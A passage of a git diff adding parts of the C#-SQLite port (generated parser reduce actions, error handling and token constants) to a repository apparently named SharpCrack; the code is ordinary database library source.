yygotominor.yy322, "index" ); + if ( yygotominor.yy322 != null ) + yygotominor.yy322.a[yygotominor.yy322.nExpr - 1].sortOrder = (u8)yymsp[0].minor.yy4; + } + //#line 3257 "parse.c" + break; + case 250: /* collate ::= */ + //#line 1131 "parse.y" + { + yygotominor.yy0.z = null; + yygotominor.yy0.n = 0; + } + //#line 3262 "parse.c" + break; + case 252: /* cmd ::= DROP INDEX ifexists fullname */ + //#line 1137 "parse.y" + { + sqlite3DropIndex( pParse, yymsp[0].minor.yy259, yymsp[-1].minor.yy4 ); + } + //#line 3267 "parse.c" + break; + case 253: /* cmd ::= VACUUM */ + case 254: /* cmd ::= VACUUM nm */ //yytestcase(yyruleno==254); + //#line 1143 "parse.y" + { + sqlite3Vacuum( pParse ); + } + //#line 3273 "parse.c" + break; + case 255: /* cmd ::= PRAGMA nm dbnm */ + //#line 1151 "parse.y" + { + sqlite3Pragma( pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0, 0, 0 ); + } + //#line 3278 "parse.c" + break; + case 256: /* cmd ::= PRAGMA nm dbnm EQ nmnum */ + //#line 1152 "parse.y" + { + sqlite3Pragma( pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy0, 0 ); + } + //#line 3283 "parse.c" + break; + case 257: /* cmd ::= PRAGMA nm dbnm LP nmnum RP */ + //#line 1153 "parse.y" + { + sqlite3Pragma( pParse, yymsp[-4].minor.yy0, yymsp[-3].minor.yy0, yymsp[-1].minor.yy0, 0 ); + } + //#line 3288 "parse.c" + break; + case 258: /* cmd ::= PRAGMA nm dbnm EQ minus_num */ + //#line 1155 "parse.y" + { + sqlite3Pragma( pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy0, 1 ); + } + //#line 3293 "parse.c" + break; + case 259: /* cmd ::= PRAGMA nm dbnm LP minus_num RP */ + //#line 1157 "parse.y" + { + sqlite3Pragma( pParse, yymsp[-4].minor.yy0, yymsp[-3].minor.yy0, yymsp[-1].minor.yy0, 1 ); + } + //#line 3298 "parse.c" + break; + case 270: /* cmd ::= createkw trigger_decl BEGIN trigger_cmd_list END */ + //#line 1175 "parse.y" + { + Token all = new Token(); + //all.z = yymsp[-3].minor.yy0.z; + //all.n = (int)(yymsp[0].minor.yy0.z - yymsp[-3].minor.yy0.z) + yymsp[0].minor.yy0.n; + all.n = (int)( yymsp[-3].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length ) + yymsp[0].minor.yy0.n; + all.z = yymsp[-3].minor.yy0.z.Substring( 0, all.n ); + sqlite3FinishTrigger( pParse, yymsp[-1].minor.yy203, all ); + } + //#line 3308 "parse.c" + break; + case 271: /* trigger_decl ::= temp TRIGGER ifnotexists nm dbnm trigger_time trigger_event ON fullname foreach_clause when_clause */ + //#line 1184 "parse.y" + { + sqlite3BeginTrigger( pParse, yymsp[-7].minor.yy0, yymsp[-6].minor.yy0, yymsp[-5].minor.yy4, yymsp[-4].minor.yy90.a, yymsp[-4].minor.yy90.b, yymsp[-2].minor.yy259, yymsp[0].minor.yy314, yymsp[-10].minor.yy4, yymsp[-8].minor.yy4 ); + yygotominor.yy0 = ( yymsp[-6].minor.yy0.n == 0 ? yymsp[-7].minor.yy0 : yymsp[-6].minor.yy0 ); + } + //#line 3316 "parse.c" + break; + case 272: /* trigger_time ::= BEFORE */ + case 275: /* trigger_time ::= */ //yytestcase(yyruleno==275); + //#line 1190 "parse.y" + { + yygotominor.yy4 = TK_BEFORE; + } + //#line 3322 "parse.c" + break; + case 273: /* trigger_time ::= AFTER */ + //#line 1191 "parse.y" + { + yygotominor.yy4 = TK_AFTER; + } + //#line 3327 "parse.c" + break; + case 274: /* trigger_time ::= INSTEAD OF */ + //#line 1192 "parse.y" + { + yygotominor.yy4 = TK_INSTEAD; + } + //#line 3332 "parse.c" + break; + case 276: /* trigger_event ::= DELETE|INSERT */ + case 277: /* trigger_event ::= UPDATE */ //yytestcase(yyruleno==277); + //#line 1197 "parse.y" + { + yygotominor.yy90.a = yymsp[0].major; + yygotominor.yy90.b = null; + } + //#line 3338 "parse.c" + break; + case 278: /* trigger_event ::= UPDATE OF inscollist */ + //#line 1199 "parse.y" + { + yygotominor.yy90.a = TK_UPDATE; + yygotominor.yy90.b = yymsp[0].minor.yy384; + } + //#line 3343 "parse.c" + break; + case 281: /* when_clause ::= */ + case 303: /* key_opt ::= */ //yytestcase(yyruleno==303); + //#line 1206 "parse.y" + { + yygotominor.yy314 = null; + } + //#line 3349 "parse.c" + break; + case 282: /* when_clause ::= WHEN expr */ + case 304: /* key_opt ::= KEY expr */ //yytestcase(yyruleno==304); + //#line 1207 "parse.y" + { + yygotominor.yy314 = yymsp[0].minor.yy118.pExpr; + } + //#line 3355 "parse.c" + break; + case 283: /* trigger_cmd_list ::= trigger_cmd_list trigger_cmd SEMI */ + //#line 1211 "parse.y" + { + Debug.Assert( yymsp[-2].minor.yy203 != null ); + yymsp[-2].minor.yy203.pLast.pNext = yymsp[-1].minor.yy203; + yymsp[-2].minor.yy203.pLast = yymsp[-1].minor.yy203; + yygotominor.yy203 = yymsp[-2].minor.yy203; + } + //#line 3365 "parse.c" + break; + case 284: /* trigger_cmd_list ::= trigger_cmd SEMI */ + //#line 1217 "parse.y" + { + Debug.Assert( yymsp[-1].minor.yy203 != null ); + yymsp[-1].minor.yy203.pLast = yymsp[-1].minor.yy203; + yygotominor.yy203 = yymsp[-1].minor.yy203; + } + //#line 3374 "parse.c" + break; + case 286: /* trnm ::= nm DOT nm */ + //#line 1229 "parse.y" + { + yygotominor.yy0 = yymsp[0].minor.yy0; + sqlite3ErrorMsg( pParse, + "qualified table names are not allowed on INSERT, UPDATE, and DELETE " + + "statements within triggers" ); + } + //#line 3384 "parse.c" + break; + case 288: /* tridxby ::= INDEXED BY nm */ + //#line 1241 "parse.y" + { + sqlite3ErrorMsg( pParse, + "the INDEXED BY clause is not allowed on UPDATE or DELETE statements " + + "within triggers" ); + } + //#line 3393 "parse.c" + break; + case 289: /* tridxby ::= NOT INDEXED */ + //#line 1246 "parse.y" + { + sqlite3ErrorMsg( pParse, + "the NOT INDEXED clause is not allowed on UPDATE or DELETE statements " + + "within triggers" ); + } + //#line 3402 "parse.c" + break; + case 290: /* trigger_cmd ::= UPDATE orconf trnm tridxby SET setlist where_opt */ + //#line 1259 "parse.y" + { + yygotominor.yy203 = sqlite3TriggerUpdateStep( pParse.db, yymsp[-4].minor.yy0, yymsp[-1].minor.yy322, yymsp[0].minor.yy314, yymsp[-5].minor.yy210 ); + } + //#line 3407 "parse.c" + break; + case 291: /* trigger_cmd ::= insert_cmd INTO trnm inscollist_opt VALUES LP itemlist RP */ + //#line 1264 "parse.y" + { + yygotominor.yy203 = sqlite3TriggerInsertStep( pParse.db, yymsp[-5].minor.yy0, yymsp[-4].minor.yy384, yymsp[-1].minor.yy322, 0, yymsp[-7].minor.yy210 ); + } + //#line 3412 "parse.c" + break; + case 292: /* trigger_cmd ::= insert_cmd INTO trnm inscollist_opt select */ + //#line 1267 "parse.y" + { + yygotominor.yy203 = sqlite3TriggerInsertStep( pParse.db, yymsp[-2].minor.yy0, yymsp[-1].minor.yy384, 0, yymsp[0].minor.yy387, yymsp[-4].minor.yy210 ); + } + //#line 3417 "parse.c" + break; + case 293: /* trigger_cmd ::= DELETE FROM trnm tridxby where_opt */ + //#line 1271 "parse.y" + { + yygotominor.yy203 = sqlite3TriggerDeleteStep( pParse.db, yymsp[-2].minor.yy0, yymsp[0].minor.yy314 ); + } + //#line 3422 "parse.c" + break; + case 294: /* trigger_cmd ::= select */ + //#line 1274 "parse.y" + { + yygotominor.yy203 = sqlite3TriggerSelectStep( pParse.db, yymsp[0].minor.yy387 ); + } + //#line 3427 "parse.c" + break; + case 295: /* expr ::= RAISE LP IGNORE RP */ + //#line 1277 "parse.y" + { + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_RAISE, 0, 0, 0 ); + if ( yygotominor.yy118.pExpr != null ) + { + yygotominor.yy118.pExpr.affinity = (char)OE_Ignore; + } + yygotominor.yy118.zStart = yymsp[-3].minor.yy0.z; + yygotominor.yy118.zEnd = yymsp[0].minor.yy0.z.Substring( yymsp[0].minor.yy0.n );//z[yymsp[0].minor.yy0.n]; + } + //#line 3439 "parse.c" + break; + case 296: /* expr ::= RAISE LP raisetype COMMA nm RP */ + //#line 1285 "parse.y" + { + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_RAISE, 0, 0, yymsp[-1].minor.yy0 ); + if ( yygotominor.yy118.pExpr != null ) + { + yygotominor.yy118.pExpr.affinity = (char)yymsp[-3].minor.yy4; + } + yygotominor.yy118.zStart = yymsp[-5].minor.yy0.z; + yygotominor.yy118.zEnd = yymsp[0].minor.yy0.z.Substring( yymsp[0].minor.yy0.n );//z[yymsp[0].minor.yy0.n]; + } + //#line 3451 "parse.c" + break; + case 297: /* raisetype ::= ROLLBACK */ + //#line 1296 "parse.y" + { + yygotominor.yy4 = OE_Rollback; + } + //#line 3456 "parse.c" + break; + case 299: /* raisetype ::= FAIL */ + //#line 1298 "parse.y" + { + yygotominor.yy4 = OE_Fail; + } + //#line 3461 "parse.c" + break; + case 300: /* cmd ::= DROP TRIGGER ifexists fullname */ + //#line 1303 "parse.y" + { + sqlite3DropTrigger( pParse, yymsp[0].minor.yy259, yymsp[-1].minor.yy4 ); + } + //#line 3468 "parse.c" + break; + case 301: /* cmd ::= ATTACH database_kw_opt expr AS expr key_opt */ + //#line 1310 "parse.y" + { + sqlite3Attach( pParse, yymsp[-3].minor.yy118.pExpr, yymsp[-1].minor.yy118.pExpr, yymsp[0].minor.yy314 ); + } + //#line 3475 "parse.c" + break; + case 302: /* cmd ::= DETACH database_kw_opt expr */ + //#line 1313 "parse.y" + { + sqlite3Detach( pParse, yymsp[0].minor.yy118.pExpr ); + } + //#line 3482 "parse.c" + break; + case 307: /* cmd ::= REINDEX */ + //#line 1328 "parse.y" + { + sqlite3Reindex( pParse, 0, 0 ); + } + //#line 3487 "parse.c" + break; + case 308: /* cmd ::= REINDEX nm dbnm */ + //#line 1329 "parse.y" + { + sqlite3Reindex( pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0 ); + } + //#line 3492 "parse.c" + break; + case 309: /* cmd ::= ANALYZE */ + //#line 1334 "parse.y" + { + sqlite3Analyze( pParse, 0, 0 ); + } + //#line 3497 "parse.c" + break; + case 310: /* cmd ::= ANALYZE nm dbnm */ + //#line 1335 "parse.y" + { + sqlite3Analyze( pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0 ); + } + //#line 3502 "parse.c" + break; + case 311: /* cmd ::= ALTER TABLE fullname RENAME TO nm */ + //#line 1340 "parse.y" + { + sqlite3AlterRenameTable( pParse, yymsp[-3].minor.yy259, yymsp[0].minor.yy0 ); + } + //#line 3509 "parse.c" + break; + case 312: /* cmd ::= ALTER TABLE add_column_fullname ADD kwcolumn_opt column */ + //#line 1343 "parse.y" + { + sqlite3AlterFinishAddColumn( pParse, yymsp[0].minor.yy0 ); + } + //#line 3516 "parse.c" + break; + case 313: /* add_column_fullname ::= fullname */ + //#line 1346 "parse.y" + { + pParse.db.lookaside.bEnabled = 0; + sqlite3AlterBeginAddColumn( pParse, yymsp[0].minor.yy259 ); + } + //#line 3524 "parse.c" + break; + case 316: /* cmd ::= create_vtab */ + //#line 1356 "parse.y" + { + sqlite3VtabFinishParse( pParse, (Token)null ); + } + //#line 3529 "parse.c" + break; + case 317: /* cmd ::= create_vtab LP vtabarglist RP */ + //#line 1357 "parse.y" + { + sqlite3VtabFinishParse( pParse, yymsp[0].minor.yy0 ); + } + //#line 3534 "parse.c" + break; + case 318: /* create_vtab ::= createkw VIRTUAL TABLE nm dbnm USING nm */ + //#line 1358 "parse.y" + { + sqlite3VtabBeginParse( pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy0 ); + } + //#line 3541 "parse.c" + break; + case 321: /* vtabarg ::= */ + //#line 1363 "parse.y" + { + sqlite3VtabArgInit( pParse ); + } + //#line 3546 "parse.c" + break; + case 323: /* vtabargtoken ::= ANY */ + case 324: /* vtabargtoken ::= lp anylist RP */ //yytestcase(yyruleno==324); + case 325: /* lp ::= LP */ //yytestcase(yyruleno==325); + //#line 1365 "parse.y" + { + sqlite3VtabArgExtend( pParse, yymsp[0].minor.yy0 ); + } + //#line 3553 "parse.c" + break; + default: + /* (0) input ::= cmdlist */ + //yytestcase(yyruleno==0); + /* (1) cmdlist ::= cmdlist ecmd */ + //yytestcase(yyruleno==1); + /* (2) cmdlist ::= ecmd */ + //yytestcase(yyruleno==2); + /* (3) ecmd ::= SEMI */ + //yytestcase(yyruleno==3); + /* (4) ecmd ::= explain cmdx SEMI */ + //yytestcase(yyruleno==4); + /* (10) trans_opt ::= */ + //yytestcase(yyruleno==10); + /* (11) trans_opt ::= TRANSACTION */ + //yytestcase(yyruleno==11); + /* (12) trans_opt ::= TRANSACTION nm */ + //yytestcase(yyruleno==12); + /* (20) savepoint_opt ::= SAVEPOINT */ + //yytestcase(yyruleno==20); + /* (21) savepoint_opt ::= */ + //yytestcase(yyruleno==21); + /* (25) cmd ::= create_table create_table_args */ + //yytestcase(yyruleno==25); + /* (34) columnlist ::= columnlist COMMA column */ + //yytestcase(yyruleno==34); + /* (35) columnlist ::= column */ + //yytestcase(yyruleno==35); + /* (44) type ::= */ + //yytestcase(yyruleno==44); + /* (51) signed ::= plus_num */ + //yytestcase(yyruleno==51); + /* (52) signed ::= minus_num */ + //yytestcase(yyruleno==52); + /* (53) carglist ::= carglist carg */ + //yytestcase(yyruleno==53); + /* (54) carglist ::= */ + //yytestcase(yyruleno==54); + /* (55) carg ::= CONSTRAINT nm ccons */ + //yytestcase(yyruleno==55); + /* (56) carg ::= ccons */ + //yytestcase(yyruleno==56); + /* (62) ccons ::= NULL onconf */ + //yytestcase(yyruleno==62); + /* (90) conslist ::= conslist COMMA tcons */ + //yytestcase(yyruleno==90); + /* (91) conslist ::= conslist tcons */ + //yytestcase(yyruleno==91); + /* (92) conslist ::= tcons */ + //yytestcase(yyruleno==92); + /* (93) tcons ::= CONSTRAINT nm */ + //yytestcase(yyruleno==93); + /* (268) plus_opt ::= PLUS */ + //yytestcase(yyruleno==268); + /* (269) plus_opt ::= */ + //yytestcase(yyruleno==269); + /* (279) foreach_clause ::= */ + //yytestcase(yyruleno==279); + /* (280) foreach_clause ::= FOR EACH ROW */ + //yytestcase(yyruleno==280); + /* (287) tridxby ::= */ + //yytestcase(yyruleno==287); + /* (305) database_kw_opt ::= DATABASE */ + //yytestcase(yyruleno==305); + /* (306) database_kw_opt ::= */ + //yytestcase(yyruleno==306); + /* (314) kwcolumn_opt ::= */ + //yytestcase(yyruleno==314); + /* (315) kwcolumn_opt ::= COLUMNKW */ + //yytestcase(yyruleno==315); + /* (319) vtabarglist ::= vtabarg */ + //yytestcase(yyruleno==319); + /* (320) vtabarglist ::= vtabarglist COMMA vtabarg */ + //yytestcase(yyruleno==320); + /* (322) vtabarg ::= vtabarg vtabargtoken */ + //yytestcase(yyruleno==322); + /* (326) anylist ::= */ + //yytestcase(yyruleno==326); + /* (327) anylist ::= anylist LP anylist RP */ + //yytestcase(yyruleno==327); + /* (328) anylist ::= anylist ANY */ + //yytestcase(yyruleno==328); + break; + }; + yygoto = yyRuleInfo[yyruleno].lhs; + yysize = yyRuleInfo[yyruleno].nrhs; + yypParser.yyidx -= yysize; + yyact = yy_find_reduce_action( yymsp[-yysize].stateno, (YYCODETYPE)yygoto ); + if ( yyact < YYNSTATE ) + { +#if NDEBUG +/* If we are not debugging and the reduce action popped at least +** one element off the stack, then we can push the new element back +** onto the stack here, and skip the stack overflow test in yy_shift(). +** That gives a significant speed improvement. */ +if( yysize!=0 ){ +yypParser.yyidx++; +yymsp._yyidx -= yysize - 1; +yymsp[0].stateno = (YYACTIONTYPE)yyact; +yymsp[0].major = (YYCODETYPE)yygoto; +yymsp[0].minor = yygotominor; +}else +#endif + { + yy_shift( yypParser, yyact, yygoto, yygotominor ); + } + } + else + { + Debug.Assert( yyact == YYNSTATE + YYNRULE + 1 ); + yy_accept( yypParser ); + } + } + + /* + ** The following code executes when the parse fails + */ +#if !YYNOERRORRECOVERY + static void yy_parse_failed( + yyParser yypParser /* The parser */ + ) + { + Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; +#if !NDEBUG + if ( yyTraceFILE != null ) + { + Debugger.Break(); // TODO -- fprintf(yyTraceFILE, "%sFail!\n", yyTracePrompt); + } +#endif + while ( yypParser.yyidx >= 0 ) + yy_pop_parser_stack( yypParser ); + /* Here code is inserted which will be executed whenever the + ** parser fails */ + yypParser.pParse = pParse;// sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument variable */ + } +#endif //* YYNOERRORRECOVERY */ + + /* +** The following code executes when a syntax error first occurs. +*/ + static void yy_syntax_error( + yyParser yypParser, /* The parser */ + int yymajor, /* The major type of the error token */ + YYMINORTYPE yyminor /* The minor type of the error token */ + ) + { + Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; + //#define TOKEN (yyminor.yy0) + //#line 32 "parse.y" + + UNUSED_PARAMETER( yymajor ); /* Silence some compiler warnings */ + Debug.Assert( yyminor.yy0.z.Length > 0 ); //TOKEN.z[0]); /* The tokenizer always gives us a token */ + sqlite3ErrorMsg( pParse, "near \"%T\": syntax error", yyminor.yy0 );//&TOKEN); + pParse.parseError = 1; + //#line 3661 "parse.c" + yypParser.pParse = pParse; // sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument variable */ + } + + /* + ** The following is executed when the parser accepts + */ + static void yy_accept( + yyParser yypParser /* The parser */ + ) + { + Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; +#if !NDEBUG + if ( yyTraceFILE != null ) + { + fprintf( yyTraceFILE, "%sAccept!\n", yyTracePrompt ); + } +#endif + while ( yypParser.yyidx >= 0 ) + yy_pop_parser_stack( yypParser ); + /* Here code is inserted which will be executed whenever the + ** parser accepts */ + yypParser.pParse = pParse;// sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument variable */ + } + + /* The main parser program. + ** The first argument is a pointer to a structure obtained from + ** "sqlite3ParserAlloc" which describes the current state of the parser. + ** The second argument is the major token number. The third is + ** the minor token. The fourth optional argument is whatever the + ** user wants (and specified in the grammar) and is available for + ** use by the action routines. + ** + ** Inputs: + **
    + **
  • A pointer to the parser (an opaque structure.) + **
  • The major token number. + **
  • The minor token number. + **
  • An option argument of a grammar-specified type. + **
+ ** + ** Outputs: + ** None. + */ + static void sqlite3Parser( + yyParser yyp, /* The parser */ + int yymajor, /* The major token code number */ + sqlite3ParserTOKENTYPE yyminor /* The value for the token */ + , Parse pParse //sqlite3ParserARG_PDECL /* Optional %extra_argument parameter */ + ) + { + YYMINORTYPE yyminorunion = new YYMINORTYPE(); + int yyact; /* The parser action. */ + bool yyendofinput; /* True if we are at the end of input */ +#if YYERRORSYMBOL +int yyerrorhit = null; /* True if yymajor has invoked an error */ +#endif + yyParser yypParser; /* The parser */ + + /* (re)initialize the parser, if necessary */ + yypParser = yyp; + if ( yypParser.yyidx < 0 ) + { +#if YYSTACKDEPTH//<=0 +if( yypParser.yystksz <=0 ){ +memset(yyminorunion, 0, yyminorunion).Length; +yyStackOverflow(yypParser, yyminorunion); +return; +} +#endif + yypParser.yyidx = 0; + yypParser.yyerrcnt = -1; + yypParser.yystack[0] = new yyStackEntry(); + yypParser.yystack[0].stateno = 0; + yypParser.yystack[0].major = 0; + } + yyminorunion.yy0 = yyminor.Copy(); + yyendofinput = ( yymajor == 0 ); + yypParser.pParse = pParse;// sqlite3ParserARG_STORE; + +#if !NDEBUG + if ( yyTraceFILE != null ) + { + fprintf( yyTraceFILE, "%sInput %s\n", yyTracePrompt, yyTokenName[yymajor] ); + } +#endif + + do + { + yyact = yy_find_shift_action( yypParser, (YYCODETYPE)yymajor ); + if ( yyact < YYNSTATE ) + { + Debug.Assert( !yyendofinput ); /* Impossible to shift the $ token */ + yy_shift( yypParser, yyact, yymajor, yyminorunion ); + yypParser.yyerrcnt--; + yymajor = YYNOCODE; + } + else if ( yyact < YYNSTATE + YYNRULE ) + { + yy_reduce( yypParser, yyact - YYNSTATE ); + } + else + { + Debug.Assert( yyact == YY_ERROR_ACTION ); +#if YYERRORSYMBOL +int yymx; +#endif +#if !NDEBUG + if ( yyTraceFILE != null ) + { + Debugger.Break(); // TODO -- fprintf(yyTraceFILE, "%sSyntax Error!\n", yyTracePrompt); + } +#endif +#if YYERRORSYMBOL +/* A syntax error has occurred. +** The response to an error depends upon whether or not the +** grammar defines an error token "ERROR". +** +** This is what we do if the grammar does define ERROR: +** +** * Call the %syntax_error function. +** +** * Begin popping the stack until we enter a state where +** it is legal to shift the error symbol, then shift +** the error symbol. +** +** * Set the error count to three. +** +** * Begin accepting and shifting new tokens. No new error +** processing will occur until three tokens have been +** shifted successfully. +** +*/ +if( yypParser.yyerrcnt<0 ){ +yy_syntax_error(yypParser,yymajor,yyminorunion); +} +yymx = yypParser.yystack[yypParser.yyidx].major; +if( yymx==YYERRORSYMBOL || yyerrorhit ){ +#if !NDEBUG +if( yyTraceFILE ){ +Debug.Assert(false); // TODO -- fprintf(yyTraceFILE,"%sDiscard input token %s\n", +yyTracePrompt,yyTokenName[yymajor]); +} +#endif +yy_destructor(yypParser,(YYCODETYPE)yymajor,yyminorunion); +yymajor = YYNOCODE; +}else{ +while( +yypParser.yyidx >= 0 && +yymx != YYERRORSYMBOL && +(yyact = yy_find_reduce_action( +yypParser.yystack[yypParser.yyidx].stateno, +YYERRORSYMBOL)) >= YYNSTATE +){ +yy_pop_parser_stack(yypParser); +} +if( yypParser.yyidx < 0 || yymajor==0 ){ +yy_destructor(yypParser, (YYCODETYPE)yymajor,yyminorunion); +yy_parse_failed(yypParser); +yymajor = YYNOCODE; +}else if( yymx!=YYERRORSYMBOL ){ +YYMINORTYPE u2; +u2.YYERRSYMDT = null; +yy_shift(yypParser,yyact,YYERRORSYMBOL,u2); +} +} +yypParser.yyerrcnt = 3; +yyerrorhit = 1; +#elif (YYNOERRORRECOVERY) +/* If the YYNOERRORRECOVERY macro is defined, then do not attempt to +** do any kind of error recovery. Instead, simply invoke the syntax +** error routine and continue going as if nothing had happened. +** +** Applications can set this macro (for example inside %include) if +** they intend to abandon the parse upon the first syntax error seen. +*/ +yy_syntax_error(yypParser,yymajor,yyminorunion); +yy_destructor(yypParser,(YYCODETYPE)yymajor,yyminorunion); +yymajor = YYNOCODE; +#else // * YYERRORSYMBOL is not defined */ + /* This is what we do if the grammar does not define ERROR: +** +** * Report an error message, and throw away the input token. +** +** * If the input token is $, then fail the parse. +** +** As before, subsequent error messages are suppressed until +** three input tokens have been successfully shifted. +*/ + if ( yypParser.yyerrcnt <= 0 ) + { + yy_syntax_error( yypParser, yymajor, yyminorunion ); + } + yypParser.yyerrcnt = 3; + yy_destructor( yypParser, (YYCODETYPE)yymajor, yyminorunion ); + if ( yyendofinput ) + { + yy_parse_failed( yypParser ); + } + yymajor = YYNOCODE; +#endif + } + } while ( yymajor != YYNOCODE && yypParser.yyidx >= 0 ); + return; + } + public class yymsp + { + public yyParser _yyParser; + public int _yyidx; + // CONSTRUCTOR + public yymsp( ref yyParser pointer_to_yyParser, int yyidx ) //' Parser and Stack Index + { + this._yyParser = pointer_to_yyParser; + this._yyidx = yyidx; + } + // Default Value + public yyStackEntry this[int offset] + { + get + { + return _yyParser.yystack[_yyidx + offset]; + } + } + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/parse_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/parse_h.cs new file mode 100644 index 0000000..8e08e31 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/parse_h.cs @@ -0,0 +1,330 @@ +/* +************************************************************************* +** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart +** C#-SQLite is an independent reimplementation of the SQLite software library +** +** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 +** +************************************************************************* +*/ + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + //#define TK_SEMI 1 + //#define TK_EXPLAIN 2 + //#define TK_QUERY 3 + //#define TK_PLAN 4 + //#define TK_BEGIN 5 + //#define TK_TRANSACTION 6 + //#define TK_DEFERRED 7 + //#define TK_IMMEDIATE 8 + //#define TK_EXCLUSIVE 9 + //#define TK_COMMIT 10 + //#define TK_END 11 + //#define TK_ROLLBACK 12 + //#define TK_SAVEPOINT 13 + //#define TK_RELEASE 14 + //#define TK_TO 15 + //#define TK_TABLE 16 + //#define TK_CREATE 17 + //#define TK_IF 18 + //#define TK_NOT 19 + //#define TK_EXISTS 20 + //#define TK_TEMP 21 + //#define TK_LP 22 + //#define TK_RP 23 + //#define TK_AS 24 + //#define TK_COMMA 25 + //#define TK_ID 26 + //#define TK_INDEXED 27 + //#define TK_ABORT 28 + //#define TK_ACTION 29 + //#define TK_AFTER 30 + //#define TK_ANALYZE 31 + //#define TK_ASC 32 + //#define TK_ATTACH 33 + //#define TK_BEFORE 34 + //#define TK_BY 35 + //#define TK_CASCADE 36 + //#define TK_CAST 37 + //#define TK_COLUMNKW 38 + //#define TK_CONFLICT 39 + //#define TK_DATABASE 40 + //#define TK_DESC 41 + //#define TK_DETACH 42 + //#define TK_EACH 43 + //#define TK_FAIL 44 + //#define TK_FOR 45 + //#define TK_IGNORE 46 + //#define TK_INITIALLY 47 + //#define TK_INSTEAD 48 + //#define TK_LIKE_KW 49 + //#define TK_MATCH 50 + //#define TK_NO 51 + //#define TK_KEY 52 + //#define TK_OF 53 + //#define TK_OFFSET 54 + //#define TK_PRAGMA 55 + //#define TK_RAISE 56 + //#define TK_REPLACE 57 + //#define TK_RESTRICT 58 + //#define TK_ROW 59 + //#define TK_TRIGGER 60 + //#define TK_VACUUM 61 + //#define TK_VIEW 62 + //#define TK_VIRTUAL 63 + //#define TK_REINDEX 64 + //#define TK_RENAME 65 + //#define TK_CTIME_KW 66 + //#define TK_ANY 67 + //#define TK_OR 68 + //#define TK_AND 69 + //#define TK_IS 70 + //#define TK_BETWEEN 71 + //#define TK_IN 72 + //#define TK_ISNULL 73 + //#define TK_NOTNULL 74 + //#define TK_NE 75 + //#define TK_EQ 76 + //#define TK_GT 77 + //#define TK_LE 78 + //#define TK_LT 79 + //#define TK_GE 80 + //#define TK_ESCAPE 81 + //#define TK_BITAND 82 + //#define TK_BITOR 83 + //#define TK_LSHIFT 84 + //#define TK_RSHIFT 85 + //#define TK_PLUS 86 + //#define TK_MINUS 87 + //#define TK_STAR 88 + //#define TK_SLASH 89 + //#define TK_REM 90 + //#define TK_CONCAT 91 + //#define TK_COLLATE 92 + //#define TK_BITNOT 93 + //#define TK_STRING 94 + //#define TK_JOIN_KW 95 + //#define TK_CONSTRAINT 96 + //#define TK_DEFAULT 97 + //#define TK_NULL 98 + //#define TK_PRIMARY 99 + //#define TK_UNIQUE 100 + //#define TK_CHECK 101 + //#define TK_REFERENCES 102 + //#define TK_AUTOINCR 103 + //#define TK_ON 104 + //#define TK_INSERT 105 + //#define TK_DELETE 106 + //#define TK_UPDATE 107 + //#define TK_SET 108 + //#define TK_DEFERRABLE 109 + //#define TK_FOREIGN 110 + //#define TK_DROP 111 + //#define TK_UNION 112 + //#define TK_ALL 113 + //#define TK_EXCEPT 114 + //#define TK_INTERSECT 115 + //#define TK_SELECT 116 + //#define TK_DISTINCT 117 + //#define TK_DOT 118 + //#define TK_FROM 119 + //#define TK_JOIN 120 + //#define TK_USING 121 + //#define TK_ORDER 122 + //#define TK_GROUP 123 + //#define TK_HAVING 124 + //#define TK_LIMIT 125 + //#define TK_WHERE 126 + //#define TK_INTO 127 + //#define TK_VALUES 128 + //#define TK_INTEGER 129 + //#define TK_FLOAT 130 + //#define TK_BLOB 131 + //#define TK_REGISTER 132 + //#define TK_VARIABLE 133 + //#define TK_CASE 134 + //#define TK_WHEN 135 + //#define TK_THEN 136 + //#define TK_ELSE 137 + //#define TK_INDEX 138 + //#define TK_ALTER 139 + //#define TK_ADD 140 + //#define TK_TO_TEXT 141 + //#define TK_TO_BLOB 142 + //#define TK_TO_NUMERIC 143 + //#define TK_TO_INT 144 + //#define TK_TO_REAL 145 + //#define TK_ISNOT 146 + //#define TK_END_OF_FILE 147 + //#define TK_ILLEGAL 148 + //#define TK_SPACE 149 + //#define TK_UNCLOSED_STRING 150 + //#define TK_FUNCTION 151 + //#define TK_COLUMN 152 + //#define TK_AGG_FUNCTION 153 + //#define TK_AGG_COLUMN 154 + //#define TK_CONST_FUNC 155 + //#define TK_UMINUS 156 + //#define TK_UPLUS 157 + public const int TK_SEMI = 1; + public const int TK_EXPLAIN = 2; + public const int TK_QUERY = 3; + public const int TK_PLAN = 4; + public const int TK_BEGIN = 5; + public const int TK_TRANSACTION = 6; + public const int TK_DEFERRED = 7; + public const int TK_IMMEDIATE = 8; + public const int TK_EXCLUSIVE = 9; + public const int TK_COMMIT = 10; + public const int TK_END = 11; + public const int TK_ROLLBACK = 12; + public const int TK_SAVEPOINT = 13; + public const int TK_RELEASE = 14; + public const int TK_TO = 15; + public const int TK_TABLE = 16; + public const int TK_CREATE = 17; + public const int TK_IF = 18; + public const int TK_NOT = 19; + public const int TK_EXISTS = 20; + public const int TK_TEMP = 21; + public const int TK_LP = 22; + public const int TK_RP = 23; + public const int TK_AS = 24; + public const int TK_COMMA = 25; + public const int TK_ID = 26; + public const int TK_INDEXED = 27; + public const int TK_ABORT = 28; + public const int TK_ACTION = 29; + public const int TK_AFTER = 